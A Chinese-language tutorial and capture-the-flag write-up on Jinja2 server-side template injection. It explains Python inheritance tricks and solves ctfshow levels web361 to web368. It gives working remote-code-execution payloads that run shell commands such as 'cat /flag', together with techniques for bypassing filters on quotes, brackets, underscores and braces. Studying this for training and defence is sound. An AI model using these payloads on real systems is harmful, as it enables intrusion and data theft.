# SSTI 学习
SSTI (Server-Side Template Injection) 又称服务器端模板注入
用户的输入先进入 Controller 控制器,然后根据请求类型和请求的指令发送给对应 Model 业务模型进行业务逻辑判断,数据库存取,最后把结果返回给 View 视图层,经过模板渲染展示给用户
模板通俗来讲就是拥有一个固定的格式,等着进行填充
# 漏洞原理
服务端在接收到用户的输入之后,并未做出有效的处理而导致用户可以输入一些攻击语句让模板引擎进行编译渲染,执行了攻击语句,从而达到了攻击者需要的效果
# 继承关系
接下来说说该漏洞点该如何进行利用,最主要的就是搞清楚继承的关系,接着就是绕过。因此,搞清楚继承关系对后续的注入有很大的帮助
1 | class A: |
这里 B 继承了 A,C 又继承了 B,以次类推,并且创建了 C 的对象 f,这里介绍第一个魔术方法
1 | print(f.__class__) |
该魔术方法可以用来找到该对象当前所在的类
接下来返回到它的父类也就是 B,所用的魔术方法为:
1 | print(f.__class__.__base__) |
当然,如果想再返回 B 的父类也就是 A,再跟上一个 base 即可
1 | print(f.__class__.__base__.__base__) |
那么疑问来了,在这里 A 并没有被设定成谁的子类,如果再返回他的父类会到哪呢?
1 | print(f.__class__.__base__.__base__.__base__) |
发现 A 类的父类是 object 类,当一个类没有显式指定它是继承某个类的时候,它就会默认继承 object 类
在这里能看到从一个子类到父类的过程是用 base 魔术方法,但这样比较冗长,可以直接使用 mro 魔术方法来列出所有父类
1 | print(f.__class__.__mro__) |
再和数组一样跟上下标来选择自己需要的父类在这里 object 就是 3,因此
1 | print(f.__class__.__mro__[3]) |
到这里为止,我们拿到了 object 类,自然是可以查找到 object 类中的所有子类,来选取可以利用的子类进行 rce。使用 subclasses 魔术方法来列出当前所在类的所有子类
1 | print(f.__class__.__mro__[3].__subclasses__()) |
同样通过下标来选择需要用到的子类,这里用到 < class
'os._wrap_close'>,在我这是 139
1 | print(f.__class__.__mro__[3].__subclasses__()[139]) |
成功拿到 os 子类,接下来使用魔术方法 init 进行一下初始化
1 | print(f.__class__.__mro__[3].__subclasses__()[139].__init__) |
接着使用魔术方法 globals 获取 function 所处空间下可使用的 module、方法以及所有变量
1 | print(f.__class__.__mro__[3].__subclasses__()[139].__init__.__globals__) |
接着用 read 来读取子进程的输出
1 | print(f.__class__.__mro__[3].__subclasses__()[139].__init__.__globals__['popen']('ls').read()) |
这样就是一条完整的注入 payload 了,进行了远程 rce,执行了 ls 命令
总结:简单来说,就是在接收用户输入时没有做好安全过滤,导致在模板渲染时执行了用户的恶意输入,造成了注入漏洞。而我们利用这一漏洞使用魔术方法调回 object 类,并使用它的可执行的子类来进行 rce
1 | __class__ :返回类型所属的对象 |
# 实例
既然了解了漏洞原理和注入方法,那接下来就来进行实操,以下实例均来自 ctfshow 的 web 入门靶场
# web361
利用 name 进行 get 传参,先尝试一下漏洞是否存在,能不能被正常执行
1 | {{7\*7}} |
成功,接下来根据之前的流程来进行 rce,先用 mro 列出所有父类
1 | ?name={{"".__class__.__mro__}} |
发现标号 1 即可返回到 object 类
接着列出所有子类
1 | ?name={{"".__class__.__mro__[1].__subclasses__()}} |
找到 <class 'os._wrap_close'> 大概在 132 左右
1 | ?name={{"".__class__.__mro__[1].__subclasses__()[132]}} |
初始化并利用进行 rce
1 | ?name={{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}} |
根目录下存在 flag,改变命令为 cat /flag 即可
1 | ?name={{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} |
总结:本题没有进行任何过滤,因此只要找到环境中的 object 的类、子类以及方法和变量所在的位置就可以
# web362
用 361 的 payload 发现打不通了,应该是过滤了一些东西,进一步进行排查
发现是其中的 2、3 数字被过滤了,很简单,利用全角数字代替正常数字,效果是一样的,进行过滤绕过
1 | ?name={{"".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} |
总结:本题过滤了数字,但只要使用同样能被执行的类型就可以实现绕过
# web363
经过尝试可以发现,本题中单引号双引号都被过滤了,用 [] 进行代替
那么问题来了,按照原先的 payload 后面的 popen 和 ls 也需要单引号的包裹才能实现 rce,但这里明显行不通,只能换一种方法
利用传参的方式将引号包裹的参数传递进去:request.args.a
构造 payload:
1 | ?name={{[].__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=ls |
成功绕过,读取 flag
1 | ?name={{[].__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=cat /flag |
总结:本题过滤了单引号,导致普通的 globals 跟上 popen 的方法使用不了,于是利用了传参的方法将单引号内包裹的内容进行传入实现绕过
# web364
用上一题的 payload 是打不通了,经尝试发现是 args 被 ban 了,但传参的方法依然是可以使用的,将 args 替换成 values 能实现同样的效果
1 | ?name={{[].__class__.__mro__[1].__subclasses__()[132].__init__.__globals__[request.values.a](request.values.b).read()}}&a=popen&b=cat /flag |
成功绕过拿到 flag
总结:本题相比上一题就把 args
ban 了,替换成 values 能实现同样的效果,成功绕过
# web365
一开始使用 class 魔术方法时就发现中括号被增加过滤了,对象可以使用 () 等字符来代替,但是后面的 subclasses 等魔术方法都需要中括号来选择下标,这里使用 getitem () 方法来代替 [] 实现绕过。
使用方法举例:
1 | 前:.__subclasses__()[132] |
能实现和中括号相同的效果,这里使用 getitem () 方法来进行绕过试试(其实就是用 getitem () 方法来代替 payload 中的所有 [])
1 | ?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(132).__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=ls |
成功绕过,读取 flag
1 | ?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(132).__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=cat /flag |
总结:本题增加过滤了中括号,利用 getitem () 方法来代替中括号实现绕过
# web366
发现下划线被过滤了,那么同样需要使用传参的方法去传递 class () 等魔术方法来实现对下划线的绕过,这里需要用 | attr () 来代替原先的。的写法
例如:
1 | ().__class__ |
这两种方法所实现的效果是一样的,这里被过滤了下划线,因此利用传参的方法来构造 payload
1 | {{()|attr(request.values.a)}}&a=__class__ |
完整 payload:
1 | ?name={{(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.g)(request.values.h)(request.values.i)).read()}}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=__getitem__&h=popen&i=cat /flag |
成功绕过,但是这样的 payload 比较冗长,检查起来也比较麻烦,所以想办法精简一下
这里可以使用 lipsum 方法,跟上 globals 魔术方法能实现直接调用 os 执行命令的功能
1 | ?name={{lipsum.__globals__.os.popen('cat /flag')}} |
修改后 pyaload:
1 | ?name={{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag |
成功绕过获得 flag
总结:本题 ban 了下划线,那么同样需要用传参的方式传入魔术方法,用 | attr ("class") 来等效替代了原先的.class 并同样使用 request 进行传入,这样导致 payload 十分冗长,于是利用 lipsum 跟上 globals 直接执行 os 来缩短 payload 的长度
# web367
发现 os 被过滤了,同样传参进去进行绕过,这里需要使用 get 方法
1 | ?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag |
总结:os 被增加过滤,使用 get 方法进行传参传入绕过限制
# web368
这次发现连花括号都直接过滤了,使用以下方法进行包裹绕过
1 | {% print() %} |
将 367 中的 payload 修改一下,用上述绕过方法进行包裹
payload:
1 | ?name={% print((lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()) %}&a=__globals__&b=os&c=cat /flag |
成功绕过
总结:过滤了花括号,使用其他方式进行包裹绕过